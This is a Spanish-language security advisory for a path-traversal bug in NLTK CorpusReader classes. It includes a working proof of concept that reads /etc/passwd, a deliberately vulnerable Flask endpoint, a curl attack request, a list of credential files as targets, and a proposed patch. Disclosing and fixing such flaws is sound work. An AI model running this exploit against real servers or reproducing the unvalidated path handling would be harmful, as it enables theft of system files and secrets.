
Una vulnerabilidad en versiones de NLTK hasta la 3.9.2 inclusive permite la lectura arbitraria de archivos mediante path traversal en múltiples clases CorpusReader, incluyendo WordListCorpusReader, TaggedCorpusReader y BracketParseCorpusReader.
| Campo | Detalles |
|---|---|
| ID de CVE | CVE-2026-0847 |
| Paquete | nltk (Natural Language Toolkit) |
| Registro | PyPI |
| Versiones Afectadas | <= 3.9.2 |
| Tipo de Vulnerabilidad | CWE-22: Path Traversal |
| Puntuación CVSS | 8.6 (Alta) |
| Vector de Ataque | Red |
| Complejidad del Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Impacto en la Confidencialidad | Alto |
| Impacto en la Integridad | Bajo |
| Impacto en la Disponibilidad | Bajo |
| Reportado el | 4 de diciembre de 2025 |
| CVE Publicado | 4 de marzo de 2026 |
| Respaldado por | Palo Alto Networks / Prisma AIRS |
| Estado | Corregido |
Varias clases CorpusReader en la librería NLTK aceptan argumentos de ruta de archivo sin aplicar ninguna canonicalización de ruta, validación de listas permitidas ni restricciones de sandbox. Cuando un atacante controla el nombre del archivo del corpus o la entrada de archivo (un escenario común en APIs de aprendizaje automático, pipelines de PLN basados en carga de archivos y servicios de chatbot), puede proporcionar una ruta manipulada para atravesar la jerarquía de directorios y leer archivos arbitrarios en el servidor.
Esta vulnerabilidad es particularmente crítica en despliegues en red donde NLTK procesa rutas de archivo controladas por el usuario, ya que no se requiere autenticación ni privilegios para explotarla.
| Clase | Archivo | Estado |
|---|---|---|
WordListCorpusReader | wordlist.py L1–L120 | Vulnerable |
TaggedCorpusReader | tagged.py L1–L140 | Vulnerable |
BracketParseCorpusReader | bracket_parse.py L1–L150 | Vulnerable |
| Otras clases que usan el mismo patrón base | — | Pendiente de auditoría más amplia |
Las tres clases heredan el mismo método inseguro CorpusReader.open(), que no realiza ninguna restricción de ruta antes de resolver y leer el identificador de archivo proporcionado.
La explotación exitosa de esta vulnerabilidad puede resultar en:
/etc/passwd, /etc/shadow y /var/log/auth.log~/.ssh/id_rsa), archivos .env, tokens de API y archivos de credenciales en la nube pueden ser extraídosEsta información se proporciona únicamente con fines educativos y defensivos. No pruebe contra sistemas que no posea o para los cuales no tenga autorización explícita.
# PoC.py — demuestra la lectura arbitraria de archivos usando tres clases CorpusReader vulnerables
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # raíz del sistema de archivos sin restricciones
target = "etc/passwd" # cualquier ruta de archivo sensible
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
Salida (abreviada):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
Un escenario realista donde NLTK se expone a través de una API HTTP:
# Servidor API vulnerable
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
Solicitud del atacante:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
Resultado: El contenido completo de /etc/passwd se devuelve al atacante sin requerir autenticación.
La vulnerabilidad se origina en CorpusReader.open(). El método resuelve el fileid proporcionado directamente contra la ruta raíz configurada usando FileSystemPathPointer.join() sin realizar ninguna de las siguientes comprobaciones:
..)Debido a que FileSystemPathPointer puede inicializarse con /, un atacante que controle el argumento del nombre de archivo tiene acceso de lectura sin restricciones a todo el sistema de archivos.
Corrección mínima propuesta por el investigador, para aplicarse dentro de CorpusReader.open():
import os
normalized = fileid.replace("\\", "/")
# Bloquear rutas absolutas
if os.path.isabs(normalized):
raise ValueError("No se permiten rutas absolutas.")
# Bloquear secuencias de navegación de directorios
if ".." in normalized.split("/"):
raise ValueError("No se permiten secuencias de Path Traversal.")
# Forzar confinamiento dentro de la raíz del corpus
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("La ruta escapa del directorio raíz del corpus.")
El PR de corrección ascendente está disponible en: https://github.com/nltk/nltk/pull/3479